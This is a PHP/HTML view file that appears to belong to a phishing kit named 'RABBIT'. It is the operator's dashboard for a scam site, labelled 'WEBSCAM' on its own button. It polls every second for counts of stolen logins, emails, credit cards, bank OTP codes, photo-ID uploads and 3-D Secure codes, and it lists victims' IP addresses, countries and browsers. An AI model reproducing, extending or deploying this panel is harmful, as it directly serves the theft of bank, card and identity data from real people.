<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>RABBIT</title>
    <meta content="width=device-width, initial-scale=1.0" name="viewport">
    <meta content="" name="keywords">
    <meta content="" name="description">
    <link href="<?= base_url() ?>RABBIT/Gens/images/favicon.ico" rel="icon">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;600&family=Roboto:wght@500;700&display=swap" rel="stylesheet"> 
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/Assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i">
    <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.css">

    <!-- Libraries Stylesheet -->
    <link href="<?= base_url() ?>RABBIT/Views/panel/lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet">
    <link href="<?= base_url() ?>RABBIT/Views/panel/lib/tempusdominus/css/tempusdominus-bootstrap-4.min.css" rel="stylesheet" />
 
    <!-- Customized Bootstrap Stylesheet -->
    <link href="<?= base_url() ?>RABBIT/Views/panel/css/bootstrap.min.css" rel="stylesheet">

    <!-- Template Stylesheet -->
    <link href="<?= base_url() ?>RABBIT/Views/panel/css/fxc.css" rel="stylesheet">
    <style>
        .brd {
            border:2px solid red;
            border-radius: 10px;
        }
    </style>
</head>

<body class="bg-dark">
    <script type="text/javascript">
        setInterval(function() {
            fetch('<?= base_url() ?>security-check/panel/json')
                .then(r => r.json())
                .then(data => {
                    console.log(data)
                    let logaccount = data.logaccount
                    let logemail = data.logemail
                    let Secure = data.Secure
                    let logcard = data.logcard
                    let logbank = data.logbank
                    let logclick = data.logclick
                    let logpap = data.logpap
                    let logrobot = data.logrobot
                    

                    document.getElementById("logaccount").innerHTML = logaccount
                    document.getElementById("logemail").innerHTML = logemail
                    document.getElementById("Secure").innerHTML = Secure
                    document.getElementById("logcard").innerHTML = logcard
                    document.getElementById("logbank").innerHTML = logbank
                    document.getElementById("logclick").innerHTML = logclick
                    document.getElementById("logpap").innerHTML = logpap
                    document.getElementById("logrobot").innerHTML = logrobot
                });

            fetch('<?= base_url() ?>security-check/panel/logclick')
                .then(r => r.text())
                .then(data => {
                    console.log(data)
                    document.getElementById("tr").innerHTML = data
                })
        }, 1000);
    </script>
    <div class="container-fluid position-relative d-flex p-0 bg-dark">
        <div id="spinner" class="show bg-white position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-center justify-content-center">
            <div class="spinner-border text-dark" style="width: 3rem; height: 3rem;" role="status">
                <span class="sr-only">Loading...</span>
            </div>
        </div>
        <?php include "sidebar.php"; ?>
        <div class="content bg-dark">
            <?php include "navbar.php"; ?>
            <div class="container-fluid pt-4 px-4">
                <div class="row g-4 m-2">
                    <?php if (_panel('CLICK') == 'on') { ?>
                    <div class="col-sm-6 col-xl-3">
                        <div class="bg-dark brd d-flex align-items-center justify-content-between p-2">
                            <i class="bi bi-mouse2-fill fa-3x text-danger"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold;" class="text-white mb-2">CLICK</p>
                                <h3 style="text-align:right;" class=" text-white mb-0" id="logclick"></h3>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    <?php if (_panel('BOT') == 'on') { ?>
                    <div class="col-sm-6 col-xl-3">
                        <div class="bg-dark brd d-flex align-items-center justify-content-between p-2">
                            <i class="bi bi-robot fa-3x text-info"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold;" class="text-white mb-2">BOT</p>
                                <h3 style="text-align:right;" class=" text-white mb-0" id="logrobot"></h3>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    <?php if (_panel('LOGIN') == 'on') { ?>
                    <div class="col-sm-6 col-xl-3">
                        <div class="bg-dark brd d-flex align-items-center justify-content-between p-2">
                            <i class="bi bi-person-add fa-3x text-success"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold;" class="text-white mb-2">LOGIN</p>
                                <h3 style="text-align:right;" class="text-white mb-0" id="logaccount"></h3>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    
                    <?php if (_panel('CARD') == 'on') { ?>
                    <div class="col-sm-6 col-xl-3">
                        <div class="bg-dark brd d-flex align-items-center justify-content-between p-2">
                           <i class="bi bi-credit-card fa-3x text-warning"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold;" class="text-white mb-2">CARD</p>
                                <h3 style="text-align:right;" class="text-white mb-0" id="logcard"></h3>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                </div> 

                <div class="row g-4 m-2">
                    <?php if (_panel('EMAIL') == 'on') { ?>
                    <div class="col-sm-6 col-xl-3">
                        <div class="bg-dark brd d-flex align-items-center justify-content-between p-2">
                           <i class="bi bi-envelope-at fa-3x text-info"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold;" class="text-white mb-2">EMAIL</p>
                                <h3 style="text-align:right;" class="text-white mb-0" id="logemail"></h3>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    <?php if (_panel('BANK') == 'on') { ?>
                    <div class="col-sm-6 col-xl-3">
                        <div class="bg-dark brd d-flex align-items-center justify-content-between p-2">
                            <i class="fa fa-mobile fa-3x text-warning"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold;" class="text-white mb-2">OTP</p>
                                <h3 style="text-align:right;" class="text-warning mb-0" id="logbank" hidden></h3>
                                <h5 class="text-right text-danger" class="mb-0">OFF</h5>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    <?php if (_panel('GETPAP') == 'on') { ?>
                    <div class="col-sm-6 col-xl-3">
                        <div class="bg-dark brd d-flex align-items-center justify-content-between p-2">
                            <i class="fa fa-camera fa-3x text-danger"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold;" class="text-white mb-2">PAP</p>
                                <h3 style="text-align:right;" class="text-warning mb-0" id="logpap" hidden></h3>
                                <h5 class="text-right text-danger" class="mb-0">OFF</h5>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    
                    <?php if (_panel('3DSCURE') == 'on') { ?>
                    <div class="col-sm-6 col-xl-3">
                        <div class="bg-dark brd d-flex align-items-center justify-content-between p-2">
                            <i class="fa fa-lock fa-3x text-success"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold;" class="text-white mb-2">AUTH</p>
                                <h3 class="text-dark" style="text-align:right;" class="text-dark mb-0" id="Secure" hidden></h3>
                                <h5 class="text-right text-danger" class="mb-0">OFF</h5>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    <div class="row mt-4">
                        <div class="col-md-6">
                             <a style="color:white; border:2px solid white; padding: 15px; border-radius: 30px; font-weight:bold;" class="btn btn-white d-block w-100" href="<?= base_url() ?>?<?php echo _config('PARAMETER'); ?>" target="_blank">GO TO WEBSCAM</a>
                        </div>
                        <div class="col-md-6">
                            <form role="form" action="<?= base_url() ?>security-check/panel/update" method="POST" class="form login">
                              <input type="password" name="resetlog" class="form-control" value="resetlog" hidden="">
                              <button style="color:white; border:2px solid white; padding: 15px; border-radius: 30px; font-weight:bold;" class="btn btn-white d-block w-100" name="gasreset"><i class="fa fa-trash me-2 text-danger"></i> RESET ALL LOG</button>
                            </form>
                        </div>
                    </div>
                    
                    
                    
                    <?php ?>
                    <div class="col-12">
                        <div style="border:none; width:100%" class="card bg-dark">
                                <div class="col-md-12">
                                    <div class="card bg-dark">
                                        <div class="card-header bg-dark">
                                            <h4 class="card-title bg-dark text-white"> <i class="bi bi-arrow-down-up text-warning me-2"></i> VISITOR LOG</h4>
                                        </div>
                                            <script type="text/javascript">
                                                setInterval(function() {
                                                    fetch('<?= base_url() ?>security-check/panel/logclick')
                                                        .then(r => r.text())
                                                        .then(data => {
                                                            console.log(data)
                                                            document.getElementById("tr").innerHTML = data
                                                        })
                                                }, 1000);
                                            </script>
                                        <?php ?>
                                        <div class="card-body bg-dark">
                                            <table *ngIf="dataSource" mat-table [dataSource]="dataSource" class="table mt-3">
                                                <thead>
                                                    <tr>
                                                        <th class="text-white text-center" scope="col">IP ADDRESS</th>
                                                        <th class="text-white text-center" scope="col">COUNTRY</th>
                                                        <th class="text-white text-center" scope="col">BROWSER</th>
                                                        <th class="text-white text-center" scope="col">INFO</th></th>
                                                        <th class="text-white text-center" scope="col">TIME</th>
                                                    </tr>
                                                </thead>
                                                <tbody class="text-white text-center" id="tr">
                                                    
                                                </tbody>
                                            </table>
                                        </div>
                                    </div>
                                </div>
                        </div>
                    </div>
                    
           
        </div>
    </div>
    
    <!-- JavaScript Libraries -->
    <script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/panel/lib/chart/chart.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/panel/lib/easing/easing.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/panel/lib/waypoints/waypoints.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/panel/lib/owlcarousel/owl.carousel.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/panel/lib/tempusdominus/js/moment.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/panel/lib/tempusdominus/js/moment-timezone.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/panel/lib/tempusdominus/js/tempusdominus-bootstrap-4.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/panel/js/main.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/jquery-ui-1.12.1.custom/jquery-ui.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/core/popper.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/core/bootstrap.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/chartist/chartist.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/chartist/plugin/chartist-plugin-tooltip.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/bootstrap-toggle/bootstrap-toggle.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/jquery-mapael/jquery.mapael.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/jquery-mapael/maps/world_countries.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/chart-circle/circles.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/jquery-scrollbar/jquery.scrollbar.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/ready.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/demo.js"></script>
    
</body>
<?php if (@$_SESSION['sukses']) { ?>
    <script>
        <?php echo $_SESSION['sukses']; ?>
    </script>
<?php unset($_SESSION['sukses']);
} ?>
</html>